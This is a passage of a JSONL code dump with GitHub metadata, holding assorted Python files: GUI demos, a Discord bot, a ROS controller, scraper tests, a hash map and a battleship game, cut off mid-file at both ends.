enable -a -f '%s' lldb commands\" % self.log_file)\n self.runCmd(\"help log\")\n self.runCmd(\"log disable lldb\")\n\n self.assertTrue(os.path.isfile(self.log_file))\n with open(self.log_file, \"r\") as f:\n contents = f.read()\n\n # check that it is still there\n self.assertEquals(contents.find(\"bacon\"), 0)\n\n # Enable all log options and check that nothing crashes.\n @skipIfWindows\n def test_all_log_options(self):\n if os.path.exists(self.log_file):\n os.remove(self.log_file)\n\n self.runCmd(\n \"log enable -v -s -T -p -n -S -F -f '%s' lldb commands\" % self.log_file\n )\n self.runCmd(\"help log\")\n self.runCmd(\"log disable lldb\")\n\n self.assertTrue(os.path.isfile(self.log_file))\n","repo_name":"llvm/llvm-project","sub_path":"lldb/test/API/commands/log/basic/TestLogging.py","file_name":"TestLogging.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":22888,"dataset":"github-code","pt":"66"}
+{"seq_id":"8419852395","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nimport discord\nfrom asyncpg import UniqueViolationError\nfrom discord import app_commands, Interaction, Role\nfrom src.features.autorole.services import convert_schemas_to_role_objects\n\nfrom src.features.autorole.ui import ConfirmSyncModal\n\nif TYPE_CHECKING:\n from src.bot import AmeliaBot\n\n \nclass AutoRoleConfig(app_commands.Group):\n def __init__(self, bot: AmeliaBot):\n super().__init__(\n name='autorole',\n description='Configuration commands for AutoRole'\n )\n self.bot = bot\n\n @app_commands.command(\n name='add-role', \n description='Adds a role that will automatically be assigned on member join'\n )\n @app_commands.describe(role=\"The role to auto-assign\")\n @app_commands.checks.has_permissions(manage_roles=True)\n async def add_auto_role(self, itx: Interaction, role: Role):\n assert itx.guild_id is not None\n async with self.bot.db as session:\n await session.auto_roles.add_auto_role(itx.guild_id, role.id)\n await session.commit()\n response = f\"{role.name} Added to auto roles. Note that this will not sync automatically. To sync,\" \\\n f\"please run the sync command specifically\"\n await itx.response.send_message(response, ephemeral=True)\n\n @add_auto_role.error\n async def on_add_error(self, itx: Interaction, error: app_commands.AppCommandError):\n unwrapped_error = error.original if isinstance(error, app_commands.errors.CommandInvokeError) else error\n if isinstance(unwrapped_error, UniqueViolationError):\n await itx.response.send_message(\"This role is already added.\", ephemeral=True)\n else:\n await itx.response.send_message(\"Role not added. Unknown error\", ephemeral=True)\n raise error\n\n @app_commands.command(name='remove-role', description=\"Removes a role from automatically assigning to new members\")\n @app_commands.describe(role=\"The role to unassign\")\n @app_commands.checks.has_permissions(manage_roles=True)\n async def remove_autorole(self, itx: Interaction, role: discord.Role):\n async with self.bot.db as session:\n await session.auto_roles.remove_auto_role(role.id)\n await session.commit()\n await itx.response.send_message(f\"{role.name} is no longer an auto-role\", ephemeral=True)\n\n @app_commands.command(name='list-roles', description=\"Lists the roles that are set to automatically assign\")\n @app_commands.checks.has_permissions(manage_roles=True)\n async def list_autorole(self, itx: Interaction):\n assert itx.guild is not None\n async with self.bot.db as session:\n schemas = await session.auto_roles.guild_auto_roles(itx.guild.id)\n roles = convert_schemas_to_role_objects(itx.guild, schemas)\n names = '\\n'.join(r and r.mention for r in roles) or 'No Roles'\n embed = discord.Embed(title=\"Auto-Roles\", description=names)\n await itx.response.send_message(embed=embed, ephemeral=True)\n\n @app_commands.command(name='sync', description=\"Sync all auto-roles to members in the guild\")\n @app_commands.checks.has_permissions(manage_roles=True)\n async def sync(self, itx: Interaction):\n await itx.response.send_modal(ConfirmSyncModal(self))","repo_name":"dfitzpatrick/amelia","sub_path":"src/features/autorole/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"20386761103","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 20 16:00:22 2016\n\n@author: rod\n\nDescription:\nAssume s is a string of lower case characters.\n\nWrite a program that counts up the number of vowels contained in the string s. \nValid vowels are: 'a', 'e', 'i', 'o', and 'u'. \nFor example, if s = 'azcbobobegghakl', your program should print:\nNumber of vowels: 5\n\"\"\"\ns = 'azcbobobegghakl'\ncount = 0\nx = s.lower()\nvowels = {\"a\", \"e\", \"i\", \"o\", \"u\"}\nfor letter in x:\n if letter in vowels:\n count +=1\nprint(\"Number of vowels: \" + str(count))","repo_name":"StudentOfJS/MITx6.0","sub_path":"ps1-problem1.py","file_name":"ps1-problem1.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"4301169038","text":"from tkinter import *\r\nfrom PIL import ImageTk, Image\r\n\r\nroot = Tk()\r\nroot.geometry(\"1920x1080\")\r\nroot.title(\"NCT 1 Times\")\r\nNewspaperName= Label(text=\"NCT 1 Times\", font=(\"Times New Roman\", 50, \"bold\"), bg=\"grey\",borderwidth= 5, relief=RIDGE)\r\nNewspaperName.pack(side=TOP, fill=X)\r\n\r\nimg1 = ImageTk.PhotoImage(Image.open(\"1.jpg\"))\r\nimg1_label=Label(image=img1)\r\nimg1_label.pack(side=LEFT, anchor=\"nw\", padx=200)\r\n\r\ntxt1= Label(text='''Text messaging, or texting, is the act of composing and sending electronic messages, typically consisting \\nof alphabetic and numeric characters, between two or more users of mobile devices, desktops/laptops, or \\nanother type of compatible computer. Text messages may be sent over a cellular network, or may also be\\n sent via an Internet connection. The term originally referred to messages sent using the Short Message \\nService (SMS).''', font=(\"Times New Roman\", 12))\r\ntxt1.pack(side=LEFT, anchor=\"w\")\r\n\r\n\r\n\r\n\r\n\r\n\r\nroot.mainloop()","repo_name":"abhoygorai/MyLearning","sub_path":"Tkinter/Newspaper.py","file_name":"Newspaper.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"37560065489","text":"import sqlite3\nfrom .filesys import exRm\n\nclass DatabaseManager(object):\n def __init__(self, db, remove):\n dbFname = db+'.db'\n self.sqlFile = None\n if remove:\n exRm(dbFname)\n self.conn = sqlite3.connect(dbFname)\n self.conn.text_factory = str\n self.conn.row_factory = lambda cursor, row: row[0]\n self.conn.execute('pragma foreign_keys = on')\n self.conn.commit()\n self.cur = self.conn.cursor()\n\n def readSql(self,file):\n self.instF = open(file,'r')\n self.instSQL = ''\n for l in self.instF:\n self.instSQL = self.instSQL+l\n return self.instSQL\n\n def query(self,q,fo=False):\n if q.count(';') > 1:\n self.cur.executescript(q)\n elif q.count(';') <= 1 and fo == False:\n self.cur.execute(q)\n else:\n self.foq = self.cur.execute(q)\n self.conn.commit()\n return self.foq.fetchone() if fo else list(self.cur)\n\n def index(self,tableName,field):\n iQuery = \"\"\n for i in field:\n idxQuery = \"CREATE INDEX idx_\"+i+\"_\"+tableName+\" ON \"+tableName+\" (\"+i+\" ASC);\"\n iQuery = iQuery + idxQuery+'\\n'\n iQuery = iQuery[:-1]\n self.query(iQuery)\n return iQuery\n\n def nullValue(self,string,is_int=False):\n if string=='':\n return 'NULL'\n elif string !='' and is_int==False:\n return '\\''+str(string)+'\\''\n elif string !='' and is_int==True:\n return string\n\n def sqlQuotes(self,string):\n return string.replace(\"'\",\"''\")\n \n\n def __del__(self):\n self.conn.close()\n","repo_name":"Myst3ri0n/reddit-save-saved","sub_path":"gcore/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"8912875450","text":"import PySimpleGUI as s\r\nimport file\r\n\r\n\r\nlist = []\r\ndone = []\r\nlist = file.readFile()\r\ndone = file.readCompleted()\r\nlayout = [[s.Text(\"TODO LIST \")],[s.Text(\"New Event : \"),s.InputText(\"\",key = \"data\")],\r\n [s.CalendarButton(\"Choose Date\", target=\"dispDate\", key='date'),s.InputText(\"\",key = \"dispDate\", disabled=True ,do_not_clear=False)],\r\n [s.Text(\"LIST : \"), s.Listbox(values=list,key = \"list\",size=(40,6), enable_events=True), s.Text(\"FINISHED : \"), s.Listbox(values=done,key = \"complete\",size=(40,6), enable_events=True)],\r\n [s.Slider(range=(10,1,-1),default_value=1,orientation=\"horizontal\",key=\"priority\")],\r\n [s.Button(\"add\"),s.Button(\"delete\"),s.Button(\"prioritize\"),s.Button(\"finished\")],\r\n [s.Text(\"\", auto_size_text=False, key=\"tell\")]]\r\n\r\nwindow = s.Window(\"my first GUI \", layout)\r\n\r\nwhile True:\r\n event, value = window.Read()\r\n if (event == \"add\"):\r\n if(value[\"dispDate\"] == \"\"):\r\n window.Element(\"error\").Update(\"Please input a date\")\r\n continue\r\n if (value[\"data\"] == \"\"):\r\n window.Element(\"error\").Update(\"Please enter a value\")\r\n continue\r\n\r\n x = value[\"data\"]+\" \"+value[\"dispDate\"]+\" \"+str(int(value[\"priority\"]))\r\n list.append(x)\r\n window.FindElement(\"list\").Update(list)\r\n window.Element(\"tell\").Update(\"entry added\")\r\n file.writeFile(list) #working\r\n\r\n elif( event == \"delete\"):\r\n list.remove(''.join(value[\"list\"]))\r\n window.FindElement(\"list\").Update(list)\r\n window.Element(\"tell\").Update(\"entry deleted\")\r\n file.writeFile(list) #working\r\n\r\n elif( event == \"prioritize\"):\r\n for i in range(len(list)):\r\n min = i\r\n for j in range(i+1, len(list)):\r\n if(list[min][-1] > list[j][-1]):\r\n min = j\r\n list[i],list[min] = list[min],list[i]\r\n window.FindElement(\"list\").Update(list)\r\n window.Element(\"tell\").Update(\"prioritized\")\r\n file.writeFile(list) #working\r\n\r\n elif( event == \"finished\"):\r\n list.remove(''.join(value[\"list\"]))\r\n done.append(''.join(value[\"list\"]))\r\n window.FindElement(\"list\").Update(list)\r\n window.FindElement(\"complete\").Update(done)\r\n window.Element(\"tell\").Update(\"item completed\")\r\n file.writeCompleted(done) #working\r\n\r\n\r\nwindow.Close()\r\n","repo_name":"KRITHIKVASAN/_programs_","sub_path":"todolist_using_file_concept.py","file_name":"todolist_using_file_concept.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26743481346","text":"import tkinter as tk\r\nimport datetime\r\nimport winsound\r\n\r\ndef set_alarm():\r\n alarm_time = entry.get()\r\n try:\r\n alarm_hour = int(alarm_time[:2])\r\n alarm_minute = int(alarm_time[3:])\r\n now = datetime.datetime.now()\r\n alarm = now.replace(hour=alarm_hour, minute=alarm_minute, second=0, microsecond=0)\r\n time_difference = alarm - now\r\n if time_difference.total_seconds() < 0:\r\n alarm = alarm.replace(day=alarm.day + 1)\r\n time_difference = alarm - now\r\n status_label.config(text=f\"Alarm set for {alarm_time}\")\r\n root.after(int(time_difference.total_seconds() * 1000), play_alarm)\r\n except ValueError:\r\n status_label.config(text=\"Invalid time format!\")\r\n\r\ndef play_alarm():\r\n winsound.PlaySound(\"sound.wav\", winsound.SND_ASYNC)\r\n status_label.config(text=\"Wake up!\")\r\n\r\nroot = tk.Tk()\r\nroot.title(\"Alarm Clock\")\r\n\r\nlabel = tk.Label(root, text=\"Enter alarm time (HH:MM):\")\r\nlabel.pack()\r\n\r\nentry = tk.Entry(root)\r\nentry.pack()\r\n\r\nbutton = tk.Button(root, text=\"Set Alarm\", command=set_alarm)\r\nbutton.pack()\r\n\r\nstatus_label = tk.Label(root, text=\"\")\r\nstatus_label.pack()\r\n\r\nroot.mainloop()\r\n","repo_name":"inferno00134/alarm-clock-using-GUI-codeclause","sub_path":"GUI.py/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"73809283410","text":"#!/usr/bin/python\n\nimport rospy\nfrom nav_msgs.msg import Odometry\nfrom tf.transformations import euler_from_quaternion as euler_fq\nfrom geometry_msgs.msg import Point\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import PointStamped\nfrom geometry_msgs.msg import PoseStamped\nimport numpy as np\nfrom math import atan2\n\n\nx = 0.0\ny = 0.0\ntheta = 0.0\n\nu_0 = [0.0, 0.0]\n\nx_odom = 0.0\ny_odom = 0.0\n\n\n# Callbak function\ndef newPos(msg) :\n\n print(\"newPos Callback\")\n global x\n global y\n global theta\n\n x = msg.pose.position.x\n y = msg.pose.position.y\n\n rot_q = msg.pose.orientation\n (roll, pitch, theta) = euler_fq([rot_q.x, rot_q.y, rot_q.z, rot_q.w])\n #theta = yaw;\n\n# Callbak function\ndef newOdom(msg) :\n global x_odom\n global y_odom\n global theta_odom\n\n x_odom = msg.pose.pose.position.x\n y_odom = msg.pose.pose.position.y\n\n rot_q = msg.pose.pose.orientation\n (roll, pitch, theta_odom) = euler_fq([rot_q.x, rot_q.y, rot_q.z, rot_q.w])\n #theta = yaw;\n\nrospy.init_node(\"position_controller\")\n\nsub_pos = rospy.Subscriber(\"/slam_out_pose\", PoseStamped, newPos)\nsub = rospy.Subscriber(\"/odom\", Odometry, newOdom)\n\npub = rospy.Publisher(\"/cmd_vel\", Twist, queue_size=1)\n\nspeed = Twist()\n\nh = 1\nrate = rospy.Rate(1/h)\n\nwhile not rospy.is_shutdown():\n try:\n # if x > 2:\n # speed.linear.x = 0.0\n # else:\n # \n speed.linear.x = 0.0\n speed.angular.z = 1.0\n except(ValueError, TypeError):\n speed.linear.x = 0.0\n speed.angular.z = 0.0\n pub.publish(speed)\n rate.sleep()","repo_name":"filipkro/hrp_mpc_lidar","sub_path":"mpc1/src/test_params.py","file_name":"test_params.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"8094410812","text":"'''\n\n# tests/test_espn_fantasy.py\n\n'''\n\nimport logging\nimport os\nimport random\nimport sys\nimport unittest\n\nfrom nflfantasy.espn_fantasy import Scraper, Parser\n\n\nclass ESPN_fantasy_test(unittest.TestCase):\n '''\n Tests espn_fantasy scraper and parser\n '''\n\n @property\n def pos(self):\n return random.choice(['qb', 'rb', 'wr', 'k', 'te'])\n\n def offset(self, pos=None):\n if not pos:\n pos = self.pos\n if pos == 'k':\n return 0\n elif pos in ['qb', 'te']:\n return random.choice([0, 50])\n else:\n return random.choice([0, 50, 100])\n\n def setUp(self):\n \"\"\"\n\n \"\"\"\n self.s = Scraper(username=os.getenv('ESPN_FANTASY_USERNAME'),\n password=os.getenv('ESPN_FANTASY_PASSWORD'),\n profile=os.getenv('FIREFOX_PROFILE'))\n self.p = Parser()\n self.leagueId = os.getenv('ESPN_FANTASY_LEAGUE_ID')\n self.teamId = os.getenv('ESPN_FANTASY_TEAM_ID')\n self.seasonId = os.getenv('ESPN_FANTASY_SEASON_ID')\n\n @unittest.skip\n def test_fantasy_league_rosters(self):\n content = self.s.fantasy_league_rosters(self.leagueId)\n self.assertIsNotNone(content)\n self.assertIn('QB', content)\n players = self.p.fantasy_league_rosters(content)\n self.assertIsNotNone(players)\n\n @unittest.skip\n def test_fantasy_team_roster(self):\n content = self.s.fantasy_team_roster(league_id=self.leagueId,team_id=self.teamId, season=self.seasonId)\n self.assertIn('Acquisitions', content)\n players = self.p.fantasy_team_roster(content)\n self.assertIsNotNone(players)\n\n @unittest.skip\n def test_waiver_wire(self):\n # league_id, team_id, season\n content = self.s.fantasy_waiver_wire(self.leagueId, self.teamId, self.seasonId)\n self.assertIn('/ffl/freeagency?', content)\n\n # league_id, team_id, season, start_index=None\n pos = self.pos\n content = self.s.fantasy_waiver_wire(self.leagueId, self.teamId, self.seasonId, self.offset())\n self.assertIn('/ffl/freeagency?', content)\n\n # league_id, team_id, season, start_index=None, position=None\n pos = self.pos\n content = self.s.fantasy_waiver_wire(self.leagueId, self.teamId, self.seasonId, self.offset(pos), pos)\n self.assertIn('/ffl/freeagency?', content)\n\n players = self.p.fantasy_waiver_wire(content)\n self.assertIsNotNone(players)\n\n\nif __name__=='__main__':\n logging.basicConfig(stream=sys.stdout, level=logging.INFO)\n unittest.main()\n","repo_name":"sansbacon/nflfantasy","sub_path":"tests/test_espn_fantasy.py","file_name":"test_espn_fantasy.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"21802126259","text":"import sys\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton\nfrom PyQt5 import QtCore\n\nclass Window(QMainWindow):\n \n def __init__(self):\n super(Window, self).__init__()\n self.setGeometry(50, 50, 500, 300)\n self.setWindowTitle(\"Test example 1\")\n self.home()\n \n def home(self):\n btn = QPushButton(\"Quit\", self)\n btn.clicked.connect(QtCore.QCoreApplication.instance().quit)\n self.show()\n \n \ndef run():\n app = QApplication(sys.argv)\n GUI = Window()\n sys.exit(app.exec_())\n \n \nrun()\n","repo_name":"4m1g0/PyQt_Demo","sub_path":"example2_buttom.py","file_name":"example2_buttom.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"39552024009","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport PIL.Image as Image\n\nimage = Image.open('img4.jpg')\nimage = np.array(image.getdata())\n\n# make the data\nx = image[0:2000:2]\ny = image[1:2000:2]\n\n# plot\nfig, ax = plt.subplots()\n\nplt.ylabel(f'Нечетные пиксели')\nplt.xlabel(f'Четные пиксели\\n(pixels.py)')\nax.scatter(x, y, s=3)\n\nplt.show()\n","repo_name":"sh1rokovs/Diploms_programms_and_components","sub_path":"Bachelor/new_diplom_files/pixels.py","file_name":"pixels.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"18805797131","text":"from project import Truss, Brace, Node\r\nn1 = Node(\"a\",0,1)\r\nn2 = Node(\"b\",1,1)\r\nn3 = Node(\"c\",0,0)\r\nn4 = Node(\"d\",2,0)\r\nb1 = Brace(\"beam 1\",n1,n2)\r\nb2 = Brace(\"beam 2\",n3,n2)\r\nb3 = Brace(\"beam 3\",n3,n4)\r\nb4 = Brace(\"beam 4\",n2,n4)\r\nt = Truss([n1,n2,n3,n4])\r\nanswer = t.calculate(upward_force = 1000)\r\nfor entry in answer:\r\n print(entry + \" \" + str(answer[entry]))\r\n","repo_name":"tyfeeney/truss-structures-numpy","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"23726433900","text":"def to_binary(num):\n result = []\n while num >= 1:\n yushu = num%2\n result.append(yushu)\n num = num//2\n return ''.join([str(i) for i in result[::-1]])\n\nif __name__ == '__main__':\n print(to_binary(4))\n","repo_name":"wuyuzhou12345/language_points","sub_path":"面试题目/binary_system.py","file_name":"binary_system.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"4416381812","text":"# coding: utf-8\n\"\"\"\nLinearProbingHashMap uses Linear Probing (one of Open Addressing methods) as collision resolution strategy.\n\nhttps://en.wikipedia.org/wiki/Linear_probing\n\"\"\"\nfrom data_structures.hash_maps.base_map import BaseHashMap\n\n\nclass LinearProbingHashMap(BaseHashMap):\n AVAILABLE_MARKER = object()\n\n # O(n)\n def __iter__(self):\n for item in self._bucket_array:\n if not self._is_empty_or_available(item):\n yield item.key\n\n # O(1) + O(fairly small n) for probing if the load factor is below 1\n def _is_empty_or_available(self, item):\n return (item is None) or (item is self.AVAILABLE_MARKER)\n\n # O(1) + O(fairly small n) for probing if the load factor is below 1\n # O(n) if it triggers resizing\n def __setitem__(self, key, value):\n index = self._hash_func(key)\n while True:\n item = self._bucket_array[index]\n if self._is_empty_or_available(item):\n # Both empty or available bucket can be inserted.\n self._bucket_array[index] = self.ITEM_CLASS(key, value)\n self._size += 1\n self._auto_resize()\n return\n else:\n if item.key == key:\n item.value = value\n return\n else:\n # item.key != key means A[i] is already occupied by another key,\n # So we try to insert the item at A[(i + 1) mod N], A[(i + 2) mod N], and so on.\n pass\n\n index = (index + 1) % len(self._bucket_array)\n\n # O(1) + O(fairly small n) for probing if the load factor is below 1\n def __getitem__(self, key):\n \"\"\"\n We can only stop searching consecutive slots for key when we encounter an \"empty\" bucket or the item with that key.\n If we encounter available markers, we simply skip them.\n \"\"\"\n index = self._hash_func(key)\n while True:\n item = self._bucket_array[index]\n if self._is_empty_or_available(item):\n if item is None:\n raise KeyError\n else:\n if item.key == key:\n return item.value\n\n index = (index + 1) % len(self._bucket_array)\n\n # O(1) + O(fairly small n) for probing if the load factor is below 1\n def __delitem__(self, key):\n index = self._hash_func(key)\n while True:\n item = self._bucket_array[index]\n if self._is_empty_or_available(item):\n if item is None:\n raise KeyError\n else:\n if item.key == key:\n self._bucket_array[index] = self.AVAILABLE_MARKER\n self._size -= 1\n return\n\n index = (index + 1) % len(self._bucket_array)\n","repo_name":"vinta/fuck-coding-interviews","sub_path":"data_structures/hash_maps/linear_probing_hash_map.py","file_name":"linear_probing_hash_map.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":652,"dataset":"github-code","pt":"66"}
+{"seq_id":"14285133773","text":"#!/usr/bin/env python\n\nimport toolforge\nimport pickle\nimport argparse\n\nfrom datetime import datetime\n\nparser = argparse.ArgumentParser(description=\"Dump orphaned talk pages to a pickle file\")\nparser.add_argument(\"wiki\", help=\"Wiki database code\")\nparser.add_argument(\"limit\", help=\"Return at most this many rows\")\nargs = parser.parse_args()\n\nwiki = args.wiki\nlimit = int(args.limit)\n\nconn = toolforge.connect(wiki)\n\ng8 = []\n\nwith conn.cursor() as cur:\n\tnow = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\tprint(\"{} - Running orphaned talk/CSD G8 candidate query on wiki {}\".format(now, wiki))\n\tcur.execute(\"SELECT page_namespace, page_title FROM page talkpage WHERE talkpage.page_title NOT LIKE '%/%' AND talkpage.page_namespace IN (1,5,11,15,101,109,119,829) AND NOT EXISTS ( SELECT 1 FROM page mainpage WHERE mainpage.page_namespace=talkpage.page_namespace-1 AND mainpage.page_title=talkpage.page_title ) AND NOT EXISTS ( SELECT 1 FROM templatelinks WHERE talkpage.page_id=tl_from AND tl_title='G8-exempt' ) LIMIT 1000\".format(limit))\n\tg8 = [(ns, e.decode(\"utf-8\")) for ns, e in list(cur.fetchall())]\n\npickle.dump(g8, open(\"/data/project/fireflytools/www/python/src/data/g8_candidates_{}.dat\".format(wiki), \"wb\"))\n","repo_name":"rwjuk/fireflytools","sub_path":"g8_candidates.py","file_name":"g8_candidates.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"4948057552","text":"\"\"\"\n関数\n- input_from_stdin()\n- input_from_file(path)\n\"\"\"\n\nimport segments as sg\n# segmentsモジュールをsegとして使える\nimport path\n# 標準ライブラリpathをインポート\n\n\ndef input_from_stdin():\n # 修正したinput_infoを移行する\n points = []\n # pointsをリスト型で定義。\n segments = []\n # segmentsをリスト型で定義。\n tmp = input(\"\") # \"4 2 0 0\"\n tmp = tmp.split(\" \") # [\"4\", \"2\", \"0\", \"0\"]\n # tmpに文字型の数字を格納。\n for i in range(len(tmp)):\n # iをtmpの大きさ分ループさせる\n tmp[i] = int(tmp[i])\n # [4, 2, 0, 0]\n N, M, P, Q = tmp\n # N = tmp[0] , M = tmp[1] , P = tmp[2] , Q = tmp[3]\n for i in range(N): # for N回まわしてなかでinput\n tmp = input(\"\")\n tmp = tmp.split(\" \") # \"0 0\" -> [\"0\", \"0\"]\n tmp[0] = int(tmp[0])\n # 数値型で格納。\n tmp[1] = int(tmp[1])\n # point([0, 0])\n points.append(sg.point(tmp)) # points.append(point(koshikawa))\n\n for i in range(M): # for m\n tmp = input()\n tmp = tmp.split(\" \")\n # \"0 0\" -> koshikawa = [0, 0]\n tmp[0] = int(tmp[0])\n # 数値型で格納。\n tmp[1] = int(tmp[1])\n segments.append(\n sg.segment([points[tmp[0]-1], points[tmp[1]-1]]))\n # segments.append(segment(koshikawa))\n\n \"\"\"\n roots [\n [\"1\", \"4\", 1],\n [\"C1\", \"3\", 1]\n ]\n \"\"\"\n\n roots = []\n # root情報\n\n add_points = []\n # 追加で入力した座標の値\n for i in range(P):\n tmp = input(\"\")\n tmp = tmp.split(\" \")\n tmp[0] = int(tmp[0])\n tmp[1] = int(tmp[1])\n add_points.append(sg.point(tmp))\n\n for i in range(Q):\n tmp = input(\"\")\n tmp = tmp.split(\" \")\n tmp[2] = int(tmp[2])\n # tmp = [\"1\", \"4\", 1]\n roots.append(tmp)\n\n for i in range(Q):\n tmp = input(\"\")\n tmp = tmp.split(\" \")\n roots[i] = tmp\n roots[i][2] = int(tmp[i][2])\n\n return N, M, P, Q, points, segments, add_points, roots\n\n\ndef input_from_file(path=path.input_path):\n with open(path, \"r\") as f:\n tmp = f.readlines()\n N, M, P, Q = [int(x) for x in tmp[0].replace(\"\\n\", \"\").split(\" \")]\n points = []\n segments = []\n roots = []\n add_points = []\n\n for i in range(1, N+1): # points\n points.append(\n sg.point([int(x)\n for x in tmp[i].replace(\"\\n\", \"\").split(\" \")])\n )\n for j in range(N+1, N+M+1): # segments\n tmp2 = [int(x) for x in tmp[j].replace(\"\\n\", \"\").split(\" \")]\n segments.append(sg.segment([\n points[tmp2[0]-1],\n points[tmp2[1]-1]\n ]))\n for k in range(N+M+1, N+M+P+1): # add points\n # 詳しい使い方が不明なのでとりあえずpointsに追加だけする\n adds = [int(x) for x in tmp[k].replace(\"\\n\", \"\").split(\" \")]\n add_points.append(sg.point(adds))\n for l in range(N+M+P+1, N+M+P+Q+1): # root\n roots.append([x for x in tmp[l].replace(\"\\n\", \"\").split(\" \")])\n\n return N, M, P, Q, points, segments, add_points, roots\n","repo_name":"ie03-aizu-2019/ie03project-skys","sub_path":"source/Modules/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"31881432376","text":"from space import *\nfrom ships import *\nfrom fleet import *\nimport random\n\nclass Ocean: \n def __init__(self):\n self._width = 10\n self._height = 10\n self.ocean = []\n self.open_ocean_positions = []\n self.create_empty_ocean()\n \n def create_empty_ocean(self):\n for column in range(self._width):\n self.ocean.append([])\n for row in range(self._height):\n self.ocean[column].append(Space()) \n position = (row, column)\n self.open_ocean_positions.append(position) \n \n def display_ocean(self):\n for i in range(self.get_width()):\n if i == 0: print(' ', end = \" \")\n print(i, end = \" \")\n print('\\n')\n \n for i in range(self.get_width()):\n print(i, end = \" \")\n for j in range(self.get_height()):\n print(self.get_char_at(i, j), end = \" \")\n print('\\n')\n \n def get_width(self):\n return self._width\n \n def get_height(self):\n return self._height\n \n def is_open_position(self, position):\n return (position in self.open_ocean_positions) \n \n def is_open_sea(self, row, column):\n position = (row, column)\n return self.is_open_position(position)\n \n def set_space_at(self, row, column, space):\n self.ocean[row][column] = space\n \n def get_space_at(self, row, column):\n return self.ocean[row][column]\n \n def get_char_at(self, row, column):\n return self.get_space_at(row, column).get_char_representation()\n \n def get_type_at(self, row, column):\n return self.get_space_at(row, column).get_ship_type()\n \n def get_surrounding_positions(self, position):\n surrounding_positions = set()\n row = position[0]\n column = position[1]\n \n surrounding_positions.add((row-1, column-1))\n surrounding_positions.add((row-1, column))\n surrounding_positions.add((row-1, column+1))\n surrounding_positions.add((row, column-1))\n surrounding_positions.add((row, column))\n surrounding_positions.add((row, column+1))\n surrounding_positions.add((row+1, column-1))\n surrounding_positions.add((row+1, column))\n surrounding_positions.add((row+1, column+1))\n \n return surrounding_positions\n\n def take_shot(self, row, column):\n position = self.get_space_at(row, column)\n\n if position.get_type() == \"Space\":\n position.check_shot(position)\n elif position.get_type() == \"Position\":\n position.get_ship().check_shot(position)\n \n def get_closed_positions(self, row, column, ship, horizontal):\n resulting_closed_positions = set()\n for i in range(ship.get_length()):\n if horizontal:\n position = (row, column+i)\n ship.add_position(row, column+i) \n self.set_space_at(row, column+i, ship.get_position(row, column+i))\n else:\n position = (row+i, column)\n ship.add_position(row+i, column) \n self.set_space_at(row+i, column, ship.get_position(row+i, column))\n resulting_closed_positions.add(position)\n resulting_closed_positions = resulting_closed_positions.union(self.get_surrounding_positions(position))\n return resulting_closed_positions\n \n def remove_closed_positions(self, positions):\n for position in positions:\n if position in self.open_ocean_positions:\n self.open_ocean_positions.remove(position)\n \n def get_open_positions(self, ship=None, horizontal=-1):\n \n if horizontal == -1:\n return self.open_ocean_positions\n \n return_positions = self.open_ocean_positions[:]\n\n if horizontal:\n for position in self.open_ocean_positions:\n if (position[1] + ship.get_length()) > self._width:\n return_positions.remove(position)\n else:\n for i in range(ship.get_length()):\n if ((position[0], position[1]+i) not in self.open_ocean_positions):\n return_positions.remove(position)\n break\n else:\n for position in self.open_ocean_positions:\n if (position[0] + ship.get_length()) > self._height:\n return_positions.remove(position)\n else:\n for i in range(ship.get_length()):\n if ((position[0]+i, position[1]) not in self.open_ocean_positions):\n return_positions.remove(position)\n break\n \n return return_positions\n \n def place_ship_at(self, row, column, ship, horizontal):\n ship.set_horizontal_bool(horizontal)\n ship.set_starting_row(row)\n ship.set_starting_column(column)\n \n resulting_closed_positions = self.get_closed_positions(row, column, ship, horizontal) \n self.remove_closed_positions(list(resulting_closed_positions))\n \n def build_basic_fleet(self, fleet):\n for i in range(fleet.get_capacity()):\n if i < 1:\n ship = Battleship()\n elif i < 3:\n ship = Cruiser()\n elif i < 6:\n ship = 